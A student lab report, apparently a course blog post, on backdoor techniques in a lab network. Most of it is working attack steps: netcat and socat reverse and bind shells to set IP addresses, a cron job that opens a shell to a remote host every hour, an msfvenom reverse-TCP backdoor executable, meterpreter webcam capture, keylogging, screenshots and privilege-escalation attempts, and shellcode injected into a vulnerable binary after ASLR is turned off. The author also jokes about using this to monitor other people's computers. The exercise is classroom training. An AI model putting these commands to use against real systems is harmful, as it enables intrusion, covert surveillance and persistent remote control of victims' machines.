• 2019-2020-2 20175303柴轩达 《网络对抗技术》Exp2 后门原理与实践


    2019-2020-2 20175303柴轩达 《网络对抗技术》Exp2 后门原理与实践

    1.基础知识总结

    (1)后门:是不经过正常认证流程而访问系统流程的通道。

    (2)常见后门有:编译器后门、操作系统后门、应用程序后门、潜伏或伪装成特定应用的专用后门程序。

    (3)布置后门的流程:<1>有一个后门程序;<2>将其放置在系统里;<3>使后门程序代码运行起来;<3>不被查杀软件查杀且不被防火墙发现。(常用技术有:反弹式连接;加密技术;隧道技术)。

    (4)常用后门工具:
    netcat:又名nc、ncat。是一个底层工具,进行基本的TCP.UDP数据收发,常与其他工具结合使用作为后门。

    Linux:自带netcat,输入man nc查看其使用说明。

    Windows: 下载ncat.rar工具包到桌面。

    meterpreter:是一个后门平台。其中有大量零件可调参数,用时组合可以生成可执行文件。

    (5)后门启动:

    任务计划程序——>新建任务计划——>触发器——>操作程序或脚本——>操作添加参数。

    2.实验内容

    任务一

    (1)Linux获得Win Shell
    输入ifconfig查看到kali的IP地址为192.168.0.10

    输入nc -l -p 5303在Linux运行监听

    windows在命令窗口进入桌面

    在ncat文件目录下输入ncat.exe -e cmd.exe 192.168.0.10 5303,使Windows反弹连接Linux

    Linux下看到Windows的命令提示,可运行指令

    (2)Win获得Linux Shell:
    首先在Windows命令窗口中使用ipconfig查看主机IP地址 192.168.3.27

    windows在ncat.exe文件目录下输入ncat.exe -l -p 5303打开windows 监听

    Linux反弹连接windows:nc 192.168.3.27 5303 -e /bin/sh

    windows下获得一个linux shell,可运行指令

    (3)使用netcat获取主机操作Shell,cron启动

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
    crontab指令增加一条定时任务,"-e"表示编辑。

    在kali端输入crontab -e
    选择第二个编辑器

    并添加下面这行代码后保存退出,表示在每个小时的第3分钟执行后面的那条指令。
    3 * * * * /bin/netcat 192.168.3.27 5303 -e /bin/sh

    可以通过"crontab -l"来查看,"-l"表示list
    下图为执行代码后的结果

    任务二

    使用socat获取主机操作Shell, 任务计划启动

    socat,即Netcat++,是超级netcat工具。

    右击计算机—>点击计算机管理

    点击任务计划程序—>点击创建任务

    设置任务名

    新建触发器

    新建操作,在程序或脚本中选择socat.exe文件的路径,添加参数中填写tcp-listen:5303 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5303,同时把cmd.exe的stderr重定向到stdout上,然后确定

    当时间到时,此时可以看到任务的状态为正在运行,同时会弹出一个cmd窗口。

    在kali中输入指令socat - tcp:192.168.3.27:5303,成功获得了一个shell

    任务三

    使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
    使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=5303 -f exe > 20175303_backdoor.exe命令生成生成20175303_backdoor.exe文件
    其中LHOST是本地即Kali的IP
    -f 生成文件的类型

    输出到哪个文件

    在Windows下执行ncat.exe -lv 5303 > 20175303_backdoor.exe,使被控主机进入接收文件模式

    在kali中执行nc 192.168.3.27 5303 < 20175303_backdoor.exe

    出现下图表明文件传输成功

    MSF打开监听进程
    输入msfconsole进入msf控制台
    输入use exploit/multi/handler设置payload
    输入set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload
    输入set LHOST 192.168.0.10,设置本地ip
    输入set LPORT 5303设置本地端口
    输入show options查看选项
    输入exploit开始监听

    在windows后门文件夹中运行后门程序

    在kali端获取Windows的shell,可以输入dir来验证

    任务四

    使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
    使用record_mic指令获取目标机截获一段音频(未成功)

    使用webcam_snap指令获取目标机摄像头

    使用keyscan_startkeyscan_dump指令获取目标机击键记录

    使用screenshot指令获取目标机截图

    使用getuid指令查看当前用户,使用getsystem指令进行提权操作(未成功)

    参考同学博客试图修复getsystem功能后,仍未成功
    使用background命令之后会自动退出到msf的命令行下,得到session x,此处为session 1
    在msf命令行下输入search bypassuac
    再输入use exploit/windows/local/bypassuac
    然后再输入set session 填写内容为你使用background查看到的session数值)
    最后输入run(输入run后运行结果不正确)

    当运行结果大致为图文所示内容时才对

    任务五

    可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
    exploit database官网的shellcode找一个linux/x86平台的,用于反弹连接的shellcode下载下来。

    打开下载下来的文件夹,复制这块地址

    参考实验一的任务三
    通过输入execstack -s pwn1设置堆栈可执行
    输入execstack -q pwn1查询文件的堆栈是否可执行,显示X pwn1则表示可执行
    输入echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
    输入more /proc/sys/kernel/randomize_va_space查看随机化是否关闭,如显示0则已关闭,2未关闭
    输入perl -e 'print "A" x 32;print"x04x03x02x01x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode来将复制并加上0x01020304后得到的地址输入到input_shellcode里
    在第一个终端中输入(cat input_shellcode;cat) | ./pwn1运行pwn1
    在第二个终端中输入ps -ef | grep pwn1查看pwn1的进程号
    查看pwn1的进程号为多少
    输入gdb调试
    …(具体请参考实验一博客
    最后找到栈顶(esp)中存放的地址为0xffffd20c

    计算出shellcode地址就是0xffffd20c+4,即0xffffd210。
    输入perl -e 'print "A" x 32;print"x10xd2xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
    输入(cat input_shellcode;cat) | ./pwn1运行pwn1

    在另一台终端中输入msfconsole打开msf控制台
    输入use exploit/multi/handler设置payload
    输入set payload linux/x86/shell_reverse_tcp使用和生成后门程序时相同的payload
    输入set LHOST 192.168.0.10,设置本地ip
    输入set LPORT 4444设置端口
    输入show options查看选项
    输入exploit开始监听后可以输入命令

    3.问题与解决

    问题1:在任务三windows运行后门程序时未运行成功
    解决:原因是防火墙、实时防护等未关彻底,把实时防护、电脑管家设置里面的安全防护、防火墙都关掉才能正常实验
    问题2:在任务四截取一段音频时未成功
    解决:未解在网上搜没找到合适的解决办法,把有关声音的一切设置都打开了,并没有起到什么作用
    问题3:在任务四getsystem提权时未成功
    解决:未解决,参考其他同学的博客有相关解决方法,但并未奏效

    4.基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?
    随意的下载不是官方网站,大公司的软件或资料;硬盘磁盘U盘携带

    (2)例举你知道的后门如何启动起来(win及linux)的方式?
    1.被攻击者点击;
    2.定时启动;
    3.开机自启动;
    4.缓冲区溢出攻击

    (3)Meterpreter有哪些给你映像深刻的功能?
    截取音频、启动摄像头、截屏、提权

    (4)如何发现自己有系统有没有被安装后门?
    答:查看注册表、进程、端口情况,使用杀毒软件。

    5.实验总结与体会

    答:通过本次实验,对后门注入攻击的基本原理有了初步的了解。其实实验本身不难,跟着老师视频学习,有了思路之后,先自己做,实在不会了参考一下别人博客绝大部分能做出来。做实验的时候总想操作一下别人的电脑,以后就可以监控他了哈哈。另外,通过这次实验真实的感受到自己有可能被攻击被监视,做实验关闭防火墙,关闭实时防护后,电脑还是会检测是否有不安全因素存在,有危险就发出警告,发现除了做实验用的后门被检测出来外,还有另外一个不知道是什么东西多警告,有点害怕,以后能保护好还是尽量保护好。

  • 相关阅读:
    Django 登录页面重定向
    python 调试命令
    错误
    错误
    图算法之图的创建
    Git 常用命令详解(三)
    Git 常用命令详解(二)
    如何提问
    项目常用jquery/easyui函数小结
    我是怎么发现并解决项目页面渲染效率问题的(IE调试工具探查器的使用)
  • 原文地址:https://www.cnblogs.com/cxd20175303/p/12514761.html
Copyright © 2020-2023  润新知